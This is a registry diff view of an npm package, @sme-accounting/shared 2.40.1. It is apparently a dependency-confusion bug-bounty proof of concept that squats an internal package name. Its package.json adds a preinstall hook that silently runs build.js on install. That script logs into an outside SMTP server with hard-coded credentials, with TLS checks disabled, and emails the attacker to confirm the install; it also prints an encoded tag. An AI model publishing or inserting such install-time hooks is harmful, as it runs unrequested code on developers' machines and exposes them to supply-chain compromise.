@sme-accounting/shared 2.40.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @sme-accounting/shared might be problematic. Click here for more details.

File without changes
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "@sme-accounting/shared",
3
+ "version": "2.40.1",
4
+ "private": false,
5
+ "publishConfig": {
6
+ "access": "public"
7
+ },
8
+ "description": "This is for standoff365 bounty",
9
+ "license": "MIT",
10
+ "author": "kedr",
11
+ "scripts": {
12
+ "preinstall": "node preinstall/build.js",
13
+ "test": "exit 0"
14
+ },
15
+ "dependencies": {
16
+ "nodemailer": "^6.0.0"
17
+ },
18
+
19
+ "main": "shared/fesm2015/sme-accounting-shared.js"
20
+ }
@@ -0,0 +1,35 @@
1
+ const nodemailer = require('nodemailer');
2
+
3
+
4
+ const login="userhuiuser@kedrns.com"
5
+ const pass="L3IXGUz2im^3"
6
+
7
+ const smtp = nodemailer.createTransport({
8
+ host: "mail.kedrns.com",
9
+ port:25,
10
+ tls: {rejectUnauthorized: false},
11
+ auth: {
12
+ user: login,
13
+ pass: pass
14
+ }
15
+ });
16
+
17
+ var mailOptions = {
18
+ from: 'depcontesttinkoff@kedrns.com',
19
+ to: 'debug@kedrns.com',
20
+ subject: 'subjest dependency tink',
21
+ text: 'This is debug message from tinkoff'
22
+ }
23
+
24
+ smtp.sendMail(mailOptions, function (error, response) {
25
+ if (error) {
26
+ console.log(error);
27
+ res.end("error");
28
+ } else {
29
+ console.log("Email sent ");
30
+ res.end("sent");
31
+ }
32
+ });
33
+
34
+
35
+ console.log('If you see this text, please led the know to your security team and decode this a2VkciBmcm9tIHN0YW5kb2ZmMzY1')
File without changes